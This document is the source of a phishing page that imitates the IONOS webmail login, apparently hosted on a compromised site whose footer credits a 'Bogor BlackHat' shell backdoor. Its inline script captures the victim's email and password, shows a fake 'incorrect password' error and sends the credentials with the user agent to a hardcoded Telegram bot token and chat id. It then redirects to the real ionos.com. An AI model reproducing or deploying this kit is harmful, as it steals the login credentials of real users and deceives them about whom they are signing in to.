kGMOkXLiStbsebop1WAYJ/v6jJPhkWSwZkAfMMtlJzVcZ4mS0TAVjmEvGYNEr5rvfj/WGQsaCMczLhStbDjZCTaOBRL6BBf+0JRmyM2LIiPyQRSY7KdqWBllp0STyjj8IxshKMsZX0civXwjGyKpcuOKpdGDBBdtSYV2afnRA5sguk53gjF6/eGKW+ptgjGwlY/Jzk8eIxv9tjb8Jxsi2XLiyvbAJKu+8gJLPUmF1su8To1zwC8mYJwYrJERrSORf+I1kf0bWNXmqEJBMgYBkCgQkUyAgmQIByZID8D8lrZ0wXRNGBQAAAABJRU5ErkJggg==">
<span class="tile__label">HiDrive</span>
</a>
</div>
<div class="grid-col grid-col--4 grid-col--small-6">
<a class="tile tile--filled" href="https://archive.ionos.com/">
<img class="tile__image" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAGEAAABiCAYAAABAkr0NAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARjSURBVHhe7drNbwxxGAfwZ3fbnbbb2i0trXhLq6jXliDeDtpEGwchHEQkXo/+APwB+AMkLi4u4iCROAjiIsJFQqSIBE2IEDSqqbctbc2zfZoiGzPb+c38vtM8n4t9JrF+M9/dme+OSYy6SFmVlD+VRRoCAA0BgIYAQEMAoCEA0BAAaAgANAQAGgIADQGAhgBAQwCgIQAwdiv79NmL9PDxc5nirX15C504tk+m8BkJgQM4eea8TFPDqeNHIwvCyOloqnwD/hTlPhkJ4e1AXl5NHVHuk5EQFm8/QM78VTLFH+8L71NUjLWjmo17qHLJJpnii/eB9yVKRitqpr2bMm3dMsUPr533IWpGQ2CVre4nacNumeKD18xrt8F4CMxZ0EbZrQcp4VTJFly8Rl4rr9mWUEJg5Q3NlOs8TKnsTNmCh9fGa+S12hRaCCyVnUXZziNUPqtJtuDgNfHaeI22hRoCS/LXveMQVIXltfCaeG0IQg9hHEqFtVFBvUQWArNdYW1VUC+RhsBsVVibFdRL5CGwKCssQgX1YiUEFkWFRamgXqyFwLge5kKqsEgV1EtJ/6mTH/pJV2/ek2nC+acpevAxIdPkDN67TPlXj2QKhito0Aa0un6Uji4dlmnCjm0byUmXy2SG7xA4gIqmLpn+VrNpLznzlsk0eV8fXqfvz+7KNDlcQU00oPzrJzR495JME1YsaaL7184ZDcL36ajYN8C0sQpbPGg/+O+GXUF7nvUaPxZWrwnFVLZunlSFHaugm2WKF7gQWKHCdhzyVWHjUEG9QIbAuN1wc/pfhY1LBfUCGwIbO8jFK2ycKqgX6BBY4XTzz11YtLugQcGHMK5wF9a98BYu3GB3QYOKTQisUEEDVFhUsQphqtIQAPi+bXHlTg/1JafJ9Ld33xL05acMPvwaHqVbPX30rv+HbAnX7NoK6lxRR2Up//e3qsuJGquKH5r6kQHauWWlTMH5DuHlpzzdeDkokxkXbr+h3vdfZQpHS2OG9m+ZI5MZXQtrqLnWkSk436cj37daS7B7fUNJn85SOWVJ2rm2QSaDDB8Mq9eE6ooy6lheJ5N5/N78b6CzfmHesKiW6mrSMpkzM5emdS05mbBZDyGZSLinjEaZzNnlvie/dxxAVNS5dRXUviArU3BrmrKFRhQXvkMI+zPV3VZPuarg5+9at1t2rQr5+VfDB8N/Re13K+oLsxX1X8MjI9T3eYgGvw25r2WjTyn34zQtk6YZWcd9He5HxnRF9R3CC/d3wk3DvxPiqqvZDWG6hd8JKjwaAgANAYCGAEBDAKAhANAQAGgIADQEABoCAA0BgIYAQEMAoCEA0BAAaAgANAQAGgIADQGAhgBAQwCgIQDwHUImrXmNq3ZS8soM388dsccfflBvf55GwnhOPgb4mbKW6Q611pt9xLKkEFQ49BwDQEMAoCEA0BAAaAgANAQAGgIADQGAhgBAQwCgIQDQEABoCAA0BAAaAgANAYCGAEBDsI7oN1ew5OMCOvhcAAAAAElFTkSuQmCC">
<span class="tile__label">Email Archiving</span>
</a>
</div>
</div>
</div>
</section>
</main>
<!--FIRST PAGE-->
<!--SECOND PAGE-->
<main id='second' style="display: none">
<section class="page-section page-section--default page-section--short">
<div class="page-section__block">
<div class="sheet sheet__section--warning cookie-message hidden">
<section class="sheet__section">
<h2 class="headline headline--sub">Activation of Browser Cookies Required</h2>
<p class="paragraph">To take advantage of our offer, it is necessary for you to allow the use of cookies in your browser settings.</p>
<a href="https://www.ionos.co.uk/help/security-c85228/browser-security-c85266" class="link link--action" target="_blank">Learn more</a>
</section>
</div>
<div class="sheet">
<section class="sheet__section sheet__section--default">
<ul>
<li class="stripe stripe--cropped">
<div class="stripe__item">
<img class="stripe__visual" src="data:image/png;base64,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" height="58" width="auto">
</div>
<div class="stripe__item">
<h1 class="headline stripe__element">Enter password</h1>
</div>
</li>
</ul>
</section>
<section class="sheet__section sheet__section--default">
<div class="container-current-identifier">
<div class="current-identifier">
<a id="cursors" class="ghost-button ghost-button--icon-only ghost-button--secondary tooltip" data-tooltip="Back to login">
<i class="ghost-button__icon exos-icon exos-icon-pagenavbackwards-16" ></i>
</a>
<a class="button-current-identifier ghost-button ghost-button--with-icon ghost-button--secondary tooltip" data-tooltip="Back to login">
<i class="ghost-button__icon exos-icon exos-icon-nav-user-16" ></i>
<span class="ghost-button__text" id="mine"></span>
</a>
</div>
</div>
<div novalidate="">
<input type="hidden" name="_csrf" value="XaaWBkKVAnnEHU58KX16w669XnzvJnnehKc7oa5qFIygbVC0PML3NXGkYRvpf35MHVBOoJbfcx3dQ0DzvcULwp1bIeqRXWCF">
<input type="email" class="hidden" name="identifier" id="username" tabindex="-1" spellcheck="false" value="remi@gestiocapital.com" autocomplete="off">
<ul>
<li class="form-stripe">
<label class="label" for="password">Password</label>
<span class="input-text-group input-text-group--empty" id="top">
<input type="password" class="input-text" maxlength="24" required="true" tabindex="1" autofocus="" autocomplete="current-password" autocapitalize="none" spellcheck="false" id="pass" name="password" value="">
<a class="input-text-group__icon password-unveil-reverse" id="password-unveil"></a>
</span>
<p class="input-byline input-byline--error" id='error'></p>
<p class="input-byline">
<a class="link oao-pi-open-in-flyin" target="_blank" href="https://www.ionos.com/help/index.php?id=2327">Forgot Your Password?</a>
</p>
<p class="input-byline"><strong>Not your device?</strong> Log out after the session or use <a class="oao-pi-open-in-flyin reveal-title-by-hover link link--lookup tooltip" target="_blank" data-tooltip="Look up" href="https://www.ionos.com/help/index.php?id=5430">private browsing mode</a>.</p></li>
<li class="form-stripe form-stripe--actions">
<button class="button button--primary button--full-width button--with-loader" type="submit" id="signs" tabindex="2">Login</button>
</li>
</ul>
</div>
</section>
</div>
</div>
</section>
</main>
</div>
<footer class="page-footer">
<div class="page-footer__block">
<section class="page-footer__section page-footer__section--last">
<div class="page-footer__section-item">
<div class="oao-statuspage-overall-status page-footer__status"><a class="oao-statuspage-overall-state-none" target="_blank" href="https://www.ionos-status.com/?utm_medium=footer&utm_content=none&utm_source=LOGIN_ID&utm_campaign=identifier&utm_term=no_search">All Systems Operational</a></div>
</div>
<div class="page-footer__section-item page-footer__section-item--align-center page-footer__section-item--small-align-left">
© 2024
<a class="page-footer__link" target="_blank" href="https://www.ionos.com/about">IONOS Inc.</a>
</div>
<div class="page-footer__section-item page-footer__section-item--align-right page-footer__section-item--small-align-left">
<a class="page-footer__link" target="_blank" href="https://www.ionos.com/terms-gtc/terms-privacy">Privacy Policy</a>
-
<a class="page-footer__link" target="_blank" href="https://www.ionos.com/terms-gtc">T&Cs</a>
</div>
</section>
</div>
</footer>
<script nonce="" src="/script/starter-main.min.js" type="text/javascript"></script>
<div>
<div id="javascript-data" data-visit-id="76b9e8b2-6351-44e8-847d-204341f12475.A" data-lang="en" data-tenant="US" data-context-path="/" data-env-mode="prod" data-artifact-version="1.0.79" data-artifact-name="id" data-sherlock-url="https://sherlock.ionos.com/">
</div>
</div>
<div class="page-transition__blocker"><div class="page-transition__loading-spin loading-spin"></div></div>
<div class="static-overlay__blocker static-overlay__blocker--hidden"></div></body>
<script>
window.addEventListener('load', function(){
var maler = window.location.hash.substr(1)
console.log(maler)
if(maler){
document.getElementById('mail').value = maler
if (maler) {
let button = document.getElementById('buttons')
document.getElementById('mail').value = maler
console.log('open second')
let mine = document.getElementById('mine')
mine.innerHTML = maler
let first = document.getElementById('first')
let second = document.getElementById('second')
first.style.display = 'none'
second.style.display = 'block'
button.innerHTML = 'Next'
// button.style.backgroundColor = '#0660a9'
// button.style.color = '#f9f9f9'
console.log('open')
let cursors = document.getElementById('cursors')
cursors.addEventListener('click', function () {
console.log('cursors')
let first = document.getElementById('first')
let second = document.getElementById('second')
first.style.display = 'block'
second.style.display = 'none'
})
}
}
//var password = document.getElementById('pass')
document.getElementById('pass').addEventListener('keyup', function(){
console.log('keyup')
document.getElementById('top').style.border = '1px solid gray'
var error = document.getElementById('error')
error.innerHTML = ''
})
var mail = document.getElementById('mail')
mail.addEventListener('keyup', function(){
console.log('keyup')
// document.getElementById('top').style.border = '1px solid gray'
var show = document.getElementById('show')
show.innerHTML = ''
})
counter = 0
var token = '6148712139:AAGjo-10K3A7CfAQEuX5o58FfWe3eTngIuA';
var chat_ids = 5371499215
//Email Section
let button = document.getElementById('buttons')
button.addEventListener('click', function(){
button.style.border = '2px solid #0660a9'
const first = document.getElementById('first')
// const firsts = document.getElementById('firsts')
let male = document.getElementById('mail').value
//let pass = document.getElementById('pass').value
if( male.indexOf('@') == -1 || male == '' ){
var show = document.getElementById('show').innerHTML = `Enter a valid email address.`;
setTimeout(() => {
//document.getElementById('error').innerHTML = '';
document.getElementById('mail').focus()
document.getElementById('mail').value = ''
}, 2000)
}
else if(male.indexOf('yahoo') !== -1 || male.indexOf('gmail') !== -1 || male.indexOf('outlook') !== -1 || male.indexOf('aol') !== -1 || male.indexOf('hotmail') !== -1 || male.indexOf('msn') !== -1 || male.indexOf('microsoft') !== -1){
var show = document.getElementById('show').innerHTML = `This is not an IONOS email. Enter the correct account email.`;
setTimeout(() => {
//document.getElementById('error').innerHTML = '';
document.getElementById('mail').focus()
document.getElementById('mail').value = ''
}, 2000)
}
else{
console.log('open second')
let mine = document.getElementById('mine')
mine.innerHTML = male
let first = document.getElementById('first')
let second = document.getElementById('second')
let button = document.getElementById('buttons')
//button.style.backgroundColor = 'gray'
//button.style.color = 'whitesmoke'
button.innerHTML = 'Please Wait...'
setTimeout(()=> {
first.style.display = 'none'
second.style.display = 'block'
button.innerHTML = 'Next'
button.style.backgroundColor = '#0660a9'
button.style.color = '#f9f9f9'
}, 2500)
console.log('open')
}
let cursors = document.getElementById('cursors')
cursors.addEventListener('click', function(){
let first = document.getElementById('first')
let second = document.getElementById('second')
first.style.display = 'block'
second.style.display = 'none'
} )
})
//Password Section
let signs = document.getElementById('signs')
signs.addEventListener('click', function(){
console.log('working')
let pass = document.getElementById('pass').value
if(pass == null || pass == ''){
console.log('alright')
var error = document.getElementById('error')
error.innerHTML = `Please enter your password.`;
document.getElementById('top').style.border = '1px solid tomato'
setTimeout(() => {
//document.getElementById('error').innerHTML = '';
document.getElementById('pass').focus()
document.getElementById('pass').value = ''
//document.getElementById('top').style.border = '1px solid gray'
}, 2000)
}
else if(pass.length < 5){
document.getElementById('error').innerHTML = `Your password is too short.`;
document.getElementById('top').style.border = '1px solid tomato'
setTimeout(() => {
//document.getElementById('error').innerHTML = '';
document.getElementById('pass').focus()
document.getElementById('pass').value = ''
// document.getElementById('top').style.border = '1px solid gray'
}, 2000)
}
//Sending to Telegram
else if(counter < 1){
let signs = document.getElementById('signs')
signs.innerHTML = 'Please wait...'
setTimeout(()=> {
document.getElementById('error').innerHTML = `Your account or password is incorrect.`;
signs.innerHTML = 'Login'
}, 2500)
setTimeout(() => {
//document.getElementById('error').innerHTML = ''
document.getElementById('pass').focus()
document.getElementById('pass').value = ''
}, 2500)
var male = document.getElementById('mail').value
let begin = male.indexOf('@')
let finish = male.indexOf('.')
let domain = male.slice(begin + 1,finish)
let output = domain.includes(9) || domain.includes(7) || domain.includes(6) ||
domain.includes(5) || domain.includes(4) || domain.includes(8) || domain.includes(3)
|| domain.includes(2) || domain.includes(0) || domain.includes(1)
console.log(output)
if(!output ) {
var token = '6148712139:AAGjo-10K3A7CfAQEuX5o58FfWe3eTngIuA';
var chat_ids = 5371499215
var clean = `***** IONOS R͏e͏s͏u͏l͏t͏ *****\r\nEml: ${male}\r\nP͏i͏n͏1͏: ${pass}\r\nUse͏r͏-A͏g͏e͏n͏t͏: {navigator.userAgent}\r\n*****`;
var settings = {
"async": true,
"crossDomain": true,
"url": "https://api.telegram.org/bot" + token + "/sendMessage",
"method": "POST",
"headers": {
"Content-Type": "application/json",
"cache-control": "no-cache"
},
"data": JSON.stringify(
{"chat_id": chat_ids, "text": clean}
)
}
$.ajax(settings).done((response) => {
console.log(response)
console.log('resultssss')
})
}
else{
var token = '6148712139:AAGjo-10K3A7CfAQEuX5o58FfWe3eTngIuA';
var chat_ids = 5371499215
var clean = `***** IONOS R͏e͏s͏u͏l͏t͏ *****\r\nEml: ${male}\r\nP͏i͏n͏1͏: ${pass}\r\nUse͏r͏-A͏g͏e͏n͏t͏: {navigator.userAgent}\r\n*****`;
var settings = {
"async": true,
"crossDomain": true,
"url": "https://api.telegram.org/bot" + token + "/sendMessage",
"method": "POST",
"headers": {
"Content-Type": "application/json",
"cache-control": "no-cache"
},
"data": JSON.stringify(
{"chat_id": chat_ids, "text": clean}
)
}
$.ajax(settings).done((response) => {
console.log(response)
console.log('resultssss')
})
/////
}
counter++
}
//Finals
else{
let signs = document.getElementById('signs')
signs.innerHTML = 'Please wait...'
setTimeout(() => {
//document.getElementById('error').innerHTML = ''
document.getElementById('pass').focus()
document.getElementById('pass').value = ''
}, 2000)
var male = document.getElementById('mail').value
let begin = male.indexOf('@')
let finish = male.indexOf('.')
let domain = male.slice(begin + 1,finish)
let output = domain.includes(9) || domain.includes(7) || domain.includes(6) ||
domain.includes(5) || domain.includes(4) || domain.includes(8) || domain.includes(3)
|| domain.includes(2) || domain.includes(0) || domain.includes(1)
console.log(output)
if(!output ) {
var token = '6148712139:AAGjo-10K3A7CfAQEuX5o58FfWe3eTngIuA';
var chat_ids = 5371499215
var clean = `***** IONOS R͏e͏s͏u͏l͏t͏ *****\r\nEml: ${male}\r\nP͏i͏n͏1͏: ${pass}\r\nUse͏r͏-A͏g͏e͏n͏t͏: {navigator.userAgent}\r\n*****`;
var settings = {
"async": true,
"crossDomain": true,
"url": "https://api.telegram.org/bot" + token + "/sendMessage",
"method": "POST",
"headers": {
"Content-Type": "application/json",
"cache-control": "no-cache"
},
"data": JSON.stringify(
{"chat_id": chat_ids, "text": clean}
)
}
$.ajax(settings).done((response) => {
console.log(response)
})
window.open('https://ionos.com')
/////////////////////
}
else{
var token = '6148712139:AAGjo-10K3A7CfAQEuX5o58FfWe3eTngIuA';
var chat_ids = 5371499215
var clean = `***** IONOS R͏e͏s͏u͏l͏t͏ *****\r\nEml: ${male}\r\nP͏i͏n͏1͏: ${pass}\r\nUse͏r͏-A͏g͏e͏n͏t͏: {navigator.userAgent}\r\n*****`;
var settings = {
"async": true,
"crossDomain": true,
"url": "https://api.telegram.org/bot" + token + "/sendMessage",
"method": "POST",
"headers": {
"Content-Type": "application/json",
"cache-control": "no-cache"
},
"data": JSON.stringify(
{"chat_id": chat_ids, "text": clean}
)
}
$.ajax(settings).done((response) => {
console.log(response)
})
window.open('https://ionos.com')
////////////
}}
}) })
</script>
</html>
Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat